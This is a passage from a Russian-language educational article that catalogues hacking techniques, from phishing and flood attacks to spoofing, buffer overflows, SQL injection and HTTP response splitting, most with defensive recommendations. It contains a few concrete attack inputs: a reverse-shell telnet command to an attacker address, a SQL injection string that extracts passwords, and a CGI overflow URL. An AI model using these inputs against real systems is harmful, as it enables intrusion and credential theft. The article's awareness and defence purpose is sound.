Сервер в кармане, или просто о сложном!

главная - Статьи - Разное



Хакеры: Приёмы взлома.

Согласно недавнему опросу, проведённому в США, обычные граждане боятся хакеров больше, чем обычных преступников. Интересно, что высокие технологии входят в нашу жизнь очень быстро и становятся её неотъемлемой частью. Каждый день наполнен множеством взломов, которые, как правило, не бывают зарегистрированы. Атакуют всех - от обычных пользователей до крупных правительственных организаций. Цели бывают разные, машины обычных пользователей, как правило, становятся «зомби», с которых проводятся атаки или рассылается спам, а у организаций похищается информация.

Приёмов взлома было придумано достаточно много, и в этой статье мы их опишем, приведём краткую техническую справку и по возможности дадим рекомендации по минимизации угрозы. Хотелось бы напомнить, что далеко не всегда можно привести общие рекомендации по защите. В этой статье мы приведём как самостоятельные, так и вспомогательные приёмы взлома. Мы не будем описывать методы взлома, которые актуальны для «редких» случаев. Например, основанные на ошибках протокола NetBEUI.

Кроме этого, мы не будем описывать техники применения приёмов, а приведём только общую информацию, необходимую для понимания принципов работы. Возможно, в дальнейшем мы выпустим цикл статей, которые будут посвящены именно проведению взлома с использованием тех или иных приёмов - всё будет зависеть от запросов аудитории. Но стоит учесть, что направленность нашего проекта другая, и в его рамках не подразумевается написание технических статей в помощь молодым взломщикам.

Данная же статья направлена на то, чтобы помочь понять, какие приёмы используются взломщиками для достижения своих целей, а также привести общие рекомендации по минимизации угрозы. В целом, если у администраторов возникнет желание самим проверить свою систему на защищённость, то они могут найти в Интернете подробную информацию по применению того или иного приёма. Однако, всегда стоит помнить, что не все «рецепты» могут быть применимы в каждом случае, ведь безумное применение «всех подряд» может привести к потере информации. Поэтому, если есть сомнения в своей компетенции, то сначала лучше узнать о приёме как можно больше, в частности, о последствиях применения.

Хотелось бы ещё отметить, что в России понятие системного администратора совсем иное, нежели за рубежом. У нас специалист такого рода, по мнению работодателей (в большинстве случаев) должен ремонтировать технику (причём всю), даже принтеры, писать программы, работать с сетями, иногда даже телефонными и АТС, работать дизайнером сайтов, обслуживать сервера, обеспечивать их безопасность, а ещё консультировать всех пользователей, как сохранить документ на дискету (плюс кто ещё чего придумает…).

За рубежом все эти обязанности разделены между разными специалистами, и, если обслуживанием компьютеров пользователей занимается System Administrator (Системный Администратор), то обслуживанием сети Network Administrator (Сетевой Администратор), а вопросами безопасности занимаются Application Security Architect, Application Security Engineer, Technology Risk Consultant, Security Researcher, Security Analyst, Security Engineer, Security Auditor. Надеемся, что никого не пропустили. Можете проверить сами на сайте, где располагаются вакансии для специалистов этого рода http://www.securityfocus.com/jobs/opportunities Мы полагаем, что нет смысла переводить названия на русский, потому что обычно все эти обязанности выполняются одним человеком (конечно, за исключением больших профессиональных команд), а поэтому русские эквиваленты созвучны с приведёнными названиями.

В процессе изучения данной статьи могут возникнуть сложности. Некоторые базовые понятия мы приведём в самом начале. Но всё же главная сложность – в терминологии, она общая для всех, но при этом нет строгих названий, есть наиболее часто употребляющиеся (такие мы и будем употреблять). В том случае, если есть несколько популярных названий приёма, то мы приведём их. У некоторых названий Вы можете встретить русский эквивалент, у некоторых нет. Обусловлено это тем, что очень часто названия приёмов не имеют русских аналогов и в среде компьютерного андеграунда они называются созвучными английским русскими звуками (Например: Spoofing – Спуфинг). В книгах, посвящённых этой тематике, приёмы часто называются описательными именами, и случается, что каждый автор предпочитает давать своё название. Особенно это касается длинных названий. Мы же оставим такие названия в оригинале. Что же касается статьи в целом, то мы будем называть компьютер, который подвергается (или должен быть подвержен) атаке (будь то сервер или просто клиентская машина) «атакуемый компьютер» или «жертва».

Для начала мы приведём краткую справку, которая может понадобиться для понимания данного материала людям, которые не знакомы с сетевыми технологиями. Те, кто знаком, могут пропустить эту часть, потому что всё дано только в базовых понятиях и даёт только общую картину, без технических деталей.

Виды сетевых пакетов: Вся информация в сети передаётся пакетами, т.е. «порциями». У пакета есть адрес отправителя, получателя, порт отправителя и порт получателя, а так же некоторые другие служебные данные. Пакеты могут быть фрагментированы, т.е. один пакет может быть разбит на несколько фрагментов и отправлен в таком виде. Информация о фрагментации добавляется к служебной, поэтому компьютер-получатель знает, как правильно собрать фрагменты в один пакет. Для понимания материала статьи мы скажем про три типа пакета:

TCP – самый надёжный пакет, потому что компьютер должен послать уведомление, что пакет получен, если уведомления нет, то пакет посылается повторно. Поэтому потеря информации исключена. Но есть недостаток: из-за посылки уведомления о получении каждого пакета снижается скорость.

UDP – схож с TCP, но уведомление о получении не посылается, поэтому возможна потеря информации в том случае, если пакет не достигает получателя. Но этот вид пакетов быстрее, нежели TCP.

ICMP – не используются для передачи информации. Пакеты, скорее служебного плана, например для диагностики сети или для пинга.

Связь между двумя компьютерами в модели клиент->сервер: Клиент посылает серверу на открытый порт SYN-пакет (т.е. пакет, у которого установлен флаг SYN), на что сервер отвечает SYN/ACK-пакетом (в том случае, если он готов установить соединение), после этого клиент посылает ACK-пакет, и связь считается установленной. Это элементарнейшая модель, которая может понадобиться для понятия некоторых атак, за более подробной информацией нужно обратиться к справочнику по сетевым технологиям.

IP адрес – сетевой адрес компьютера вида ХХХ.ХХХ.ХХХ.ХХХ, где ХХХ могут быть от 0 до 255.

MAC адрес – уникальный адрес, вшитый в сетевую карту. Имеет вид: ХХ:ХХ:ХХ:ХХ:ХХ:ХХ, где ХХ могут быть от 00 до ff

Примечание: адреса имеют некоторые ограничения, и некоторые не могут существовать (т.е. принадлежать компьютеру в сети), например IP адрес 0.0.0.0 или 255.255.255.255 Некоторые IP адреса не могут принадлежать машине, напрямую подключённой к Интернет, т.к. некоторые группы (т.е. диапазоны) IP адресов зарезервированы. За более подробной информацией можно обратиться к специальному справочнику.

TCP/IP протокол служит для передачи данных в Интернете и в большинстве сетей.

ARP протокол служит для сопоставления IP адресов MAC адресам.

ARP сервер – сервер, который отвечает за хранение сопоставленных записей вида IP адрес – MAC адрес.

DNS сервер – компьютер, который по DNS запросу клиента (например, Вашему запросу, когда Вы вводите адрес в строке адреса в Internet Explorer) переводит буквенные Интернет адреса (например: yandex.ru) в соответствующие им IP адреса (например: 23.145.14.155).

Коммутатор и концентратор – предназначение у этих устройств одинаково: подключить к одному каналу (например, Интернета) несколько компьютеров. Но принцип действия различается. Концентратор принимает пакет, а потом пересылает его каждому компьютеру, а дальше компьютеры проверяют, для них ли был предназначен этот пакет. Коммутатор точно знает, какой пакет какому компьютеру предназначается, и он посылает его конкретному компьютеру, а не всем сразу. Коммутаторы более дорогие устройства, но и более быстрые и безопасные.

Сегмент сети – группа компьютеров, подключённая к одному концентратору или коммутатору.

Deface/Defacement (или Дефейс) – изменение взломщиком какой-либо страницы на Веб-сервере (например, начальную) на свою (например с надписью «Взломана»).

Privileges escalation (Поднятие привилегий). Только администратор может выполнять команды, критические для работы системы, (например: команда, выключающая компьютер). И только программы, запущенные администратором, могут получить доступ к критическим данным. Поэтому, чтобы иметь полный контроль над системой, хакеру необходимы права администратора. Если хакер получил доступ к системе как обычный пользователь, то ему необходимо «поднять привилегии» для получения контроля.

Инвентаризация или Сбор информации. Необходимо для получения максимально возможного объёма информации о целевом компьютере. Методы описаны в нашей статье «Инвентаризация сети».

Хотелось бы обратить внимание, что мы не хотим повторять о том, как можно реализовать ту или иную атаку (потому что некоторые их них реализуются одним и тем же программным продуктом), но и не хотим описывать то, как реализовать некоторые из атак. При этом, мы ни в коем случае не рекламируем никаких программных продуктов, они приведены только для примера (это также не значит, что мы пользуемся именно такими), а поэтому, скажем в самом начале, что все атаки, которые основаны на подделке или генерировании особых пакетов, можно реализовать либо встроенным генератором пакетов, который входит в состав LINUX, либо таким продутом как Packet Generator. Программа Nemesis – хороший генератор пакетов, который умеет подделывать адрес отправителя. Спуфинг IP можно сделать с помощью Spoofer, но она подходит для IRC сетей; для остальных, как вспомогательное средство можно использовать Tribal Flood Network (которая служит для атак типа Flood, конечно эта возможность в ней не единственная) и Nemesis. Для сложных атак типа Host Spoofing (в том виде, в котором она представлена нами в этой статье) нет общедоступного инструмента, поэтому атака может быть реализована другими, неспециализированными средствами. Часто инструменты не выложены публично, но написаны и используются ограниченным кругом людей. Ещё раз мы хотим повторить, что описание выходит за рамки данной статьи. Возможно, мы напишем следующий цикл статей, посвящённый реализации, но только если получим достаточное количество просьб.

Помните, что неправильно настроенные права доступа к файлам и каталогам, а также неправильно настроенные права, под которыми запускаются те или иные сервисы, являются благоприятной почвой для взлома. Поэтому, не запускайте Веб-сервер с правами администратора, ему не нужно выполнять никаких команд или считывать данные из других каталогов, кроме своего и того, где лежат Веб-страницы. Следите за правами!

1) Fishing (или Фишинг). Очень широкое понятие. Смысл его в том, чтобы получить от пользователей информацию (пароли, номера кредитных карт и т.п.) или деньги. Этот приём направлен не на одного пользователя, а на многих. Например, письма якобы от службы технической поддержки рассылаются всем известным клиентам какого-либо банка. В письмах обычно содержится просьба выслать пароль к учётной записи, якобы из-за проведения каких-либо технических работ. Несмотря на то, что пользователей предупреждают, что никакую подобную информацию от них никто из работников не может потребовать, и эта информация не должна разглашаться, всегда находятся те, кто с удовольствием «дарит» свои номера, пароли и прочее. Подобные письма, обычно очень правдоподобно и грамотно составлены, что, возможно, подкупает доверчивых пользователей. Нужно оговориться, что приёмов для фишинга есть несколько, помимо писем. Некоторые из нижеприведённых приёмов при правильном применении подходят для фишинга (как правило, мы упоминаем об этом при описании приёма).

Рекомендации: Помните, что паранойя – лучшая защита. Не доверяйте ничему подозрительному, никому не давайте свои данные. Администраторам не нужно знать Ваш пароль, если он предназначен для доступа к их серверу. Они полностью управляют сервером и могут сами посмотреть пароль или изменить его.

2) Социальная инженерия – это не технический, а психологический приём. Пользуясь данными, полученными при инвентаризации, взломщик может позвонить какому-либо пользователю (например, корпоративной сети) от имени администратора и попытаться узнать у него, например, пароль. Это становится возможным, когда в больших сетях, пользователи не знают всех работников, и тем более не всегда могут точно узнать их по телефону. Кроме этого, используются сложные психологические приёмы, поэтому шанс на успех сильно возрастает.

Рекомендации: те же самые. Если действительно есть необходимость, то сообщите нужные данные лично. В том случае, если Вы записали пароль на бумаге, не оставляйте её где попало и по возможности уничтожайте, а не просто выбрасывайте в мусорную корзину.

3) Вирусы. Самая известная простому пользователю проблема. Суть во внедрении вредоносной программы в компьютер пользователя. Последствия могут быть различны и зависят от вида вируса, которым заражён компьютер. Но в целом - от похищения информации до рассылки спама, организации DDoS атак, а так же получения полного контроля над компьютером. Помимо прикрепленного к письму файла, вирусы могут попасть в компьютер через некоторые уязвимости ОС, которые описываются в нашей статье «Рейтинг уязвимостей Windows». Вирусов существует огромное множество, но всё же возможно их классифицировать. Мы не хотим изобретать заново велосипед, поэтому можно воспользоваться информацией этой страницы http://school8.uriit.ru/people/av/class.html где приводится классификация вирусов с описанием. Чуть более подробно эта тема раскрывается здесь http://fivt.krgtu.ru/kafedri/mo/site/ANTIVIRUS/pages/02.htm

Рекомендации: Пользуйтесь антивирусным ПО. Не ограничивайтесь только DrWEB или Kaspersky Anti-Virus (потому как они не проверяют реестр), используйте специализированные антивирусы против Malware, например Ad-Aware, SpyBot, XSpy. А так же не открывайте подозрительных вложений и вообще не отрывайте программ от неизвестных отправителей. Даже если отправитель Вам знаком, всё равно сначала проверьте антивирусом. Здесь как в медицине, легче избежать, чем потом вылечить.

4) DoS (Denial of Service или Отказ от Обслуживания). Мы бы хотели сказать, что это скорее не отдельная атака, а результат атаки; используется для вывода системы или отдельных программ из строя. Для этого взломщик особым образом формирует запрос к какой-либо программе, после чего она перестаёт функционировать. Требуется перезарузка, чтобы вернуть рабочее состояние программы. Часто встречается мнение, что DoS, это то же самое, что и атака типа Flood и что вообще нужно соединить все атаки, которые приводят к отказу системы под общим названием DoS. Здесь стоит оговориться, что:

a) Общей терминологии нет, есть скорее негласные правила, по которым классифицируется атака, поэтому даже в рамках данной статьи мы приведём, в чем-то расхожую классификацию.

b) Как мы уже сказали, к отказу от обслуживания может привести не только Flood, но, например и Buffer Overflow.

Поэтому, DoS можно охарактеризовать как результат атаки. Например: «эффект отказа от обслуживания достигнут применением атаки типа Flood».

5) Flood (Флуд или Поток/Затопление). Этот тип достаточно спорный, отчасти его можно отнести к DoS, но мы хотели бы выделить его отдельно. С некоторого количества машин (в этом случае атака будет называться DDoS Distributed Denial of Service. Распределенная атака на отказ от обслуживания), как правило «Зомби» посылают жертве максимально возможное количество запросов (например, запросы на соединение). От этого жертва не успевает отвечать на каждый запрос, и в итоге не отвечает на пользовательские запросы, т.е. можно сказать, что перестаёт нормально функционировать. Примечание: этот тип атаки можно назвать хулиганством, когда, например, форумы заполняют большим количеством бессмысленных сообщений. Можно выделить следующие типы Flood:

  • a) SYN Flood – Затопление атакуемого компьютера пакетами типа SYN. Как известно, компьютер должен на такой пакет ответить пакетом типа SYN/ACK. Если пакетов SYN слишком много, то компьютер не успевает отвечать на каждый и не может принимать пакеты от других компьютеров.
  • b) ICMP Flood или Ping Flood – То же самое, только пакетами ICMP. Система должна ответить на такой пакет, тем самым создаётся большое количество пакетов, которые снижают производительность (пропускную способность) канала.
  • c) Identification Flood (Ident Flood). Похожа на ICMP Flood, но ответ на запрос на порт 113 типа identd занимает у системы больше времени, поэтому атака более эффективна.
  • d) DNS Flood – атака направлена на DNS сервера. Их наводняют DNS запросы, на которые сервер не успевает отвечать, таким образом, на Ваши запросы он так же ответить не сможет. Как следствие, Вы не сможет посещать Интернет сайты.
  • e) DDoS DNS – Атака достаточно новая, и мы не встречали «устоявшегося» названия. По сути, этот приём примерно то же самое, что и предыдущий, с той лишь разницей, что запросы поступают с большого количества машин (предыдущий тип этого не исключает). Адрес, по которому должен ответить DNS-сервер на эти запросы, равен адресу самого DNS сервера, т.е. его не только наводняют запросы DNS, но он же ещё и отправляет их себе же. Таким образом, приём более эффективен, чем предыдущий, но и более сложен в реализации.
  • f) Boink (Bonk, Teardrop) – Жертве посылается огромное количество сильно фрагментированных пакетов, но при этом фрагменты большого размера. Для каждого фрагментированного пакета выделяется специальный буфер, в который в последствии будут помещены другие фрагменты, чтобы потом сложить их воедино. Огромное количество больших фрагментов переполняют буфера и могут спровоцировать зависание или аварийную остановку.
  • g) Pong – то же самое, что и любой другой из вышеперечисленных видов, отличие только в том, что адрес отправителя поддельный. Это даёт взломщику некоторую анонимность.

Рекомендации: для каждой ОС или маршрутизатора свои; они, как правило, даны в технической документации. Не пренебрегайте ими, чётко ограничивайте количество допустимых пакетов. К сожалению, некоторые виды невозможно отразить ничем, кроме физического отключения. Правильно настроенные межсетевые экраны (или Брандмауэры) часто являются панацеей.

6) Smurf (атака, направленная на ошибки реализации TCP-IP протокола). Сейчас этот вид атаки считается экзотикой, однако раньше, когда TCP-IP протокол был достаточно новым, в нём содержалось некоторое количество ошибок, которые позволяли, например, подменять IP адреса. Однако, этот тип атаки применяется до сих пор. Некоторые специалисты выделяют TCP Smurf, UDP Smurf, ICMP Smurf. Конечно, такое деление основано на типе пакетов.

Рекомендации: коммутаторы CISCO предоставляют хорошую защиту, как и многие другие, а также свежее ПО и межсетевые экраны; необходимо блокировать широковещательные запросы.

7) Ping-of-Death (или Jolt, SSPing) – Атака заключается в том, что жертве посылается фрагментированный ICMP пакет, но размер фрагмента очень большой (64кБ). Старые версии ОС, например Windows 95, повисают. Эту атаку можно осуществить с помощью программы Shadow Security Scanner.

Рекомендации: легче всего обновить ОС, отказавшись от старой версии.

8) UDP Storm (UDP шторм) – используется в том случае, если на жертве открыто как минимум два UDP порта, каждый из которых отсылает отправителю какой-нибудь ответ. Например, порт 37 с сервером time на запрос отправляет текущую дату и время. Взломщик отправляет UDP пакет на один из портов жертвы, но в качестве отправителя указывает адрес жертвы и второй открытый UDP порт жертвы. Тогда порты начинают бесконечно отвечать друг другу, что снижает производительность. Шторм прекратится, как только один из пакетов пропадёт (например, из-за перегрузки ресурсов).

Рекомендации: по возможности исключить использование сервисов, которые принимают UDP пакеты, либо отрезать их от внешней сети межсетевым экраном.

9) UDP Bomb – взломщик отправляет системе UDP пакет с некорректными полями служебных данных. Данные могут быть нарушены как угодно (например, некорректная длина полей, структура). Это может привести к аварийному завершению.

Рекомендации: обновите ПО.

10) Land – жертве посылается пакет на определённый порт, но адрес отправителя устанавливается тот же самый, что и жертвы, а порт отправителя равен порту получателя. (пример: получатель: 1.1.1.1 порт 111 отправитель: 1.1.1.1 порт 111). Жертва пытается установить соединение с собой, отчего может произойти повисание системы. Подобная атака также может быть на 100% эффективна против некоторых маршрутизаторов.

11) Mail Bombing («Почтовая бомбёжка»). Если на атакуемом компьютере есть почтовый сервер, то на него посылается огромное количество почтовых сообщений с целью вывода его из строя. С одной стороны, это напоминает Flood, но с другой стороны, если сообщения содержат большие вложения, которые будут проверяться серверным антивирусом, то подобная проверка множества входящих вложений может существенно снизить производительность или свести её на нет. Кроме того, такие сообщения сохраняются на жёстком диске сервера и могут переполнить его, что может вызвать DoS. Конечно, сейчас эта атака, скорее история, но в некоторых случаях всё же может быть использована.

Рекомендации: грамотная настройка почтового сервера.

12) Sniffing (Сниффинг или прослушивание сети). В том случае, если вместо коммутаторов в сети установлены концентраторы, полученные пакеты рассылаются всем компьютерам в сети, а дальше уже компьютеры определяют для них этот пакет или нет. Если взломщик получит доступ к компьютеру, который включен в такую сеть, или получит доступ к сети непосредственно, то вся информация, передаваемая в переделах сегмента сети, включая пароли, станет доступна. Взломщик просто поставит сетевую карту в режим прослушивания и будет принимать все пакеты независимо от того, ему ли они предназначались. Можно использовать как консольные снифферы, например TcpDump (встроенный в *NIX системах), WinDump (для Windows, но не встроенный), а так же с визуализированным интерфейсом, например Iris.

Рекомендации: используйте коммутаторы вместо концентраторов, шифруйте трафик.

13) IP Hijack (IP хайджек). Если есть физический доступ к сети, то взломщик может «врезаться» в сетевой кабель и выступить в качестве посредника при передаче пакетов, тем самым он будет слушать весь трафик между двумя компьютерами. Очень неудобный способ, который часто себя не оправдывает, за исключением случаев, когда никакой другой способ не может быть реализован. Подобное включение само по себе неудобно, хотя есть устройства, которые немного упрощают эту задачу, в частности они следят за нумерацией пакетов, чтобы избежать сбоя и возможного выявления вторжения в канал. Такой способ используется для обмана банкоматов, но такой случай технически сложнее, потому что недопустим разрыв связи между банком и банкоматом, а «врезание» в канал без его разрыва – задача только для высококвалифицированного специалиста. Кроме этого, теперь банкоматы устанавливаются гораздо лучше, что исключает возможность свободного физического доступа к кабелю.

Рекомендации: следите за доступом к кабелям, например, используйте короба. Шифруйте трафик.

14) Dummy ARP (Ложный ARP). ARP сервер, маршрутизатор или коммутатор знают какие IP принадлежат MAC адресам (т.е. сетевым картам). При возможности физического доступа к сети, взломщик может подделать ARP ответ и выдать себя за другой компьютер в сети, получив его IP. Тем самым все пакеты, предназначенные тому компьютеру, будет получать он. Это возможно, если тот компьютер выключен, иначе это действие вызовет конфликт IP адресов (в одной сети не могут быть 2 компьютера с одним и тем же IP адресом).

Рекомендации: используйте ПО, которое информирует об изменении MAC адресов у IP, следите за лог-файлами ARP сервера.

15) Dummy DNS Server (ложный DNS Сервер). Если настройки сети поставлены в автоматический режим, то при включении в сеть, компьютер «спрашивает» (т.е. отправляет широковещательный пакет) кто будет его DNS сервером, к которому он в дальнейшем будет отправлять DNS запросы. При наличии физического доступа к сети, взломщик может перехватить такой широковещательный запрос и ответить, что его компьютер будет DNS сервером. После этого он сможет отправлять обманутую жертву по любому маршруту. Например, жертва хочет пройти на сайт банка и перевести деньги, взломщик может отправить её на свой компьютер, где будет сфабрикована форма ввода пароля. После этого пароль будет принадлежать взломщику. Достаточно сложный способ, потому что взломщику необходимо ответить жертве раньше, чем DNS сервер.

Рекомендации: по возможности ограничьте доступ к сети посторонних.

16) Fuzzy (Фаззи). Фильтры могут быть настроены на блокировку определённых видов пакетов, например UDP. Взломщик может сфабриковать пакет так, что фильтр не поймет, что этот пакет UDP и не отфильтрует его, и он попадёт по назначению. Таким образом, взломщик может обойти фильтры пакетов. Этот приём очень узкий и предназначен для частных случаев, точнее тех, когда связь не обязательно должна быть двусторонней. Двусторонняя связь будет невозможна в большинстве случаев, т.к. в основном, если блокируются входящие пакеты определённого типа на какой-либо порт, то блокируются и исходящие. Получается, что даже если сфабрикованный пакет пройдёт через фильтр (например на порт UDP), то сервер ответит на него пакетом того же типа, т.е. UDP, но при этом он не будет его фабриковать по примеру взломщика. Т.о. этот исходящий пакет будет отфильтрован и не попадёт к взломщику. Как бы там ни было, всё равно стоит обезопасить себя от подобного рода атак.

Рекомендации: обычно новые версии межсетевых экранов предоставляют достаточную защиту против этого приёма.

17) Puke – взломщик фабрикует ответ ICMP unreachable (ошибка удалённой системы), что спровоцирует клиента на отключение от сервера. Используется скорее как вспомогательное средство, в том случае, если какой-либо клиент должен быть отключён от сервера для проведения атаки.

18) Fake unreachable – взломщик фабрикует сообщение о том, что пакет не может быть доставлен (unreachable), тем самым заставляет сервер думать, что у клиента сбой и пакеты не доставляются по назначению. Это может спровоцировать сервер отключить клиента. Тоже вспомогательное средство, похоже на №17, только направлен не на клиента, а на сервер.

19) IP-Spoofing (Спуфинг или Подмена IP адреса). Атакующий подменяет свой реальный IP фиктивным. Это необходимо, если доступ к ресурсу имеют только определённые IP адреса. Взломщику нужно изменить свой реальный IP на «привилегированный» или «доверенный», чтобы получить доступ. Этот способ может быть использован по-другому. После того, как два компьютера установили между собой соединение, проверив пароли, взломщик может вызвать на жертве перегрузку сетевых ресурсов специально сгенерированными пакетами. Тем самым он может перенаправить трафик на себя и таким образом обойти процедуру аутентификации.

Рекомендации: их может быть много, по той причине, что приёмов достаточно много. Но стоит упомянуть, что угрозу снизит (но возможно затруднит легимитивные соединения) уменьшение времени ответного пакета с установленными флагами SYN и ACK, а также увеличить максимальное количество SYN-запросов на установление соединения в очереди (tcp_max_backlog). Так же можно использовать SYN-Cookies.

20) Host spoofing (Подмена хоста). Очень сложная техника, требующая физического доступа к сети. Каждый компьютер знает маршрутизатор, на который он отправляет все пакеты, которые потом маршрутизатором доставляются по назначению. При смене маршрутизатора каждому компьютеру высылается redirect уведомление, после чего компьютеры начинают посылать пакеты новому маршрутизатору. Взломщик может сфабриковать подобное уведомление и выдать себя за маршрутизатор, таким образом он получит контроль над трафиком в пределах сегмента сети.

Рекомендации: контроль над доступом к сети и момента смены маршрутизатора. Например, можно следить, весь ли прошлый трафик (т.е. старые соединения) «появились» на новом маршрутизаторе.

21) Подбор пароля. Используется для регистрации в системе путём подбора пароля к учётной записи. Есть два вида: подбор всех возможных комбинаций символов (BruteForce) и подбор по словарю. Первый способ более эффективен, т.к. всё равно найдётся комбинация символов, которую вы ввели с клавиатуры в качестве пароля, но этот способ крайне медленный, особенно если в расчёт принимаются знаки препинания и т.п. Второй способ быстрый, но если вы ввели слово, которого не может быть в словаре, например: «Мой-Новый-Пароль», то подобрать по словарю его будет невозможно. Программ, которые служат для подбора пароля очень много, поэтому мы не думаем, что есть смысл называть какие-либо конкретные. Как правило, программы, ОС и пр. хранят пароли в шифрованном виде, поэтому даже если взломщик получил доступ к файлу, ему придётся расшифровать пароль. Он это может делать сутками на своём домашнем компьютере.

Рекомендации: использовать сложные пароли, лучше со знаками препинания. Ограничьте количество попыток ввода пароля. Против расшифровки пароля поможет только его сложность.

22) Back Connect/Pipes/Reverse (Обратный сеанс или Реверс). Это вспомогательный приём, но сам по себе он очень интересный. Например, взломщик не хочет каждый раз выполнять много действий ради одной команды. Он может упростить задачу, используя этот приём. Суть его в том, что взломщик вынуждает атакуемый компьютер подключиться к компьютеру взломщика. Например на атакуемом компьютере можно выполнить команду telnet [ip.адрес.взломщика] [порт]. После этого взломщик, по сути дела получает командную строку (командную оболочку или Шелл/Shell) на атакуемом компьютере.

23) Software vulnerabilities (Ошибки ПО). Использование ошибок в программном обеспечении. Эффект может быть разный. От получения несущественной информации до получения полного контроля над системой. Атаки через ошибки ПО самые популярные во все времена. Старые ошибки исправляются новыми версиями, но в новых версиях появляются новые ошибки, которые опять могут быть использованы. Дальше мы опишем не виды атак, а приёмы, используемые для атаки на ошибки ПО. Рекомендации: приведём сразу для всех, потому как рекомендация общая - поможет только «безопасно» написанный код программ. По этой теме можно найти большое количество материала в Интернет.

24) Buffer Overflow (Переполнение буфера). Очень опасный вид атаки, когда запрос формируется так, что он переполняет выделенные ему рамки памяти и команды «вшитые» в запрос попадают в стек, а после выполняются процессором. Это можно сделать как удалённо, так и локально, если взломщик может запустить свою программу на атакуемом компьютере. Это может быть использовано как для выполнения кода на компьютере, так и для поднятия прав. Есть несколько подвидов атак на переполнение буфера. Мы не будем описывать каждый из них, т.к. для объяснения принципа нам придётся привести примеры кода, который будет непонятен людям, незнакомым с программированием. Нижеприведённая классификация принадлежит Андрею Колищаку (andr[at]sandy.ru) и находится в его статье «Атаки на переполнение буфера». Поэтому найти их описание, примеры и рекомендации Вы можете непосредственно в этой статье. Мы же приведём их просто для ознакомления.

  • a) Атака “срыв стека”
  • b) Атака “срыв стека” с параметризацией
  • c) Атака “срыв стека” с передачей управления
  • d) Искажение указателей функций
  • e) Атака на указатели функций
  • f) Атака на указатели функций с параметризацией
  • g) Атака на указатели функций с передачей управления
  • h) Искажение таблиц переходов
  • i) Атака на таблицы переходов
  • j) Атака на таблицы переходов с параметризацией
  • k) Атака на таблицы переходов с передачей управления
  • l) Искажение указателей данных
  • m) Атака с искажением указателей данных
  • n) Атака с искажением указателей данных с параметризацией
  • o) Атака с искажением указателей данных с оригинальным кодом.

К вышеприведённой классификации мы бы хотели привести ещё один тип: Integer Overflow (Переполнение целочисленных). За более подробной информацией можно обратиться к статье «Целочисленное переполнение: Атака» и «Целочисленное переполнение: Защита» или «Basic Integer Overflows» от Blexim.

25) Shatter – Уязвимость Windows систем, которая может быть использована только локально. Очень похожа на переполнение буфера, точнее приводит к тому же самому результату: команды взломщика попадают в стек. Основана на том, что у каждого окна в Windows, у которого есть поле для ввода, есть и максимальная длина вводимого значения. Она устанавливается ещё на стадии разработки программы и для небольших полей может быть равна, например 50. С клавиатуры нельзя ввести количество символов больше 50, но работа окон Windows основана на Messages (Посланиях). Можно легко получить Header (Хидер или Заголовок(особый, предназначенный только для ОС)) поля для ввода и послать SETTEXT (установить текст) сообщение (используя этот хидер) полю для ввода. Сообщение должно сказать, что необходимо установить текст длиною больше 50, соответственно, всё, что будет после 50-го символа, попадёт в стек и будет выполнено процессором. Защиты от этого не существует. Единственная панацея – это процессоры AMD Athlon 64, у которых есть встроенная защита, и они не выполняют команды из стека.

26) Nuke (WinNuke или Нюк). Сейчас это скорее история. Windows по умолчанию использует протокол NetBIOS для совместной работы с файлами и принтерами в сети. Для этого ОС открывает три TCP порта (137, 138, 139). Реализация этого протокола на старых версиях Windows содержала уязвимость. Суть в том, что можно послать в открытый 139 порт несколько OutOfBand «сообщений» подряд. Система не могла корректно обработать подобные данные и система повисала. Программ для подобных атак было написано немало, но мы упомянем только Shadow Security Scanner, который уже был назван нами ранее, как средство для SSPing.

27) Cross User Attack (межпользовательская атака). На наш взгляд достаточно неоднозначное название, т.к. не лучшим образом отражает суть атаки, но всё же мы придержимся этого, общеизвестного названия. Squid 2.4 и ISA/2000 позволяют пользователям делить между собой TCP соединения с сервером. Можно спровоцировать с помощью HRS (описана ниже) два ответа от сервера, один из которых будет контролироваться взломщиком и фальсифицирует полученную пользователем информацию.

28) Атака на CGI. Большинство WWW (Веб) серверов используют скрипты для предоставления пользователям дополнительных услуг или предоставления дополнительных возможностей. Например, почтовые сервера, как mail.ru На многих серверах установлены «самописные» CMS (Content Management System или Системы управления содержимым (сайта)). Программисты далеко не всегда заставляют свои скрипты проверять вводимые пользователем значения, отчего появляются возможности использования таких оплошностей в различных целях. Атака на переполнение буфера также может быть проведена через ошибки CGI скриптов. Например: http://host/cgi-bin/helloworld?type=A*100 (т.е. буква A будет в количестве 100 раз). По адресу http://www.opennet.ru/base/sec/linux_sec_guide.txt.html можно найти отличную статью, во второй части которой описываются проблемы безопасности, которые обычно оставляются без внимания CGI программистами. Многие не являются приёмами взлома, а только помогают взлому, поэтому для написания хорошего кода лучше ознакомиться со статьёй. Рамки нашей статьи не позволяют нам углубиться в тему написания безопасного кода, поэтому скажем только, что нужно, как минимум, фильтровать все служебные символы из получаемых данных.

29) SQL Injection (SQL иньекция). Если введённые пользователем данные используются в сформированных SQL запросах без проверки, то взломщик может ввести данные, которые позволят ему получить любую информацию из Ваших SQL баз. Например: есть запрос «SELECT login, password FROM members where email=’$email’;» Где $email вводится пользователем в таблице, запрос обрабатывается и результат выводится на страницу. Взломщик может модифицировать данные и ввести в форму: «my@mail.ru' OR login LIKE '%admin%». Таким образом, сформированный SQL запрос будет: «SELECT login, password FROM members where email='my@mail.ru' OR login LIKE '%admin%';». Таким образом, взломщик получит пароли от пользователей, в login которых содержится admin.

30) HRS (HTTP Resource Splitting) – Достаточно молодой и по нашему мнению сложный приём (если не использовать его только для XSS), который позволяет реализовать атаки вида Hijacking Pages, Cross User Defacement, Web Cache Poisoning, Browser Cache Poisoning, XSS (будут описаны ниже). Сущность атаки в том, что взломщик, специально приготовленным HTTP запросом может заставить Веб-сервер, уязвимый перед HRS, ответить жертве (а не взломщику) двумя раздельными HTTP ответами (а не одним, как это было бы в обычной ситуации). Первый HTTP ответ может быть частично контролируем взломщиком, но второй контролируется взломщиком полностью! Если это возможно, взломщик посылает два запроса, где жертва выступает уже посредником. Первый из этих запросов снова заставит Веб-сервер ответить два раза, а второй обычно запрашивает какой-либо второстепенный ресурс на сервере (например, какую-либо маленькую картинку). Но! Жертва объединит второй HTTP запрос (на второстепенный ресурс) со вторым HTTP ответом (который контролируется взломщиком)! Таким образом, жертва думает, что получившийся «агрегат» это ответ от Веб-сервера с частью его содержимого, но на самом деле это будет важная информация или команда (которая подготовлена взломщиком). Есть ещё один нюанс, жертвой может быть компьютер взломщика, который получит в результате атаки, важную информацию, например, cookie другого пользователя. Ниже мы опишем атаки, которые можно провести через HRS, но они так же могут быть 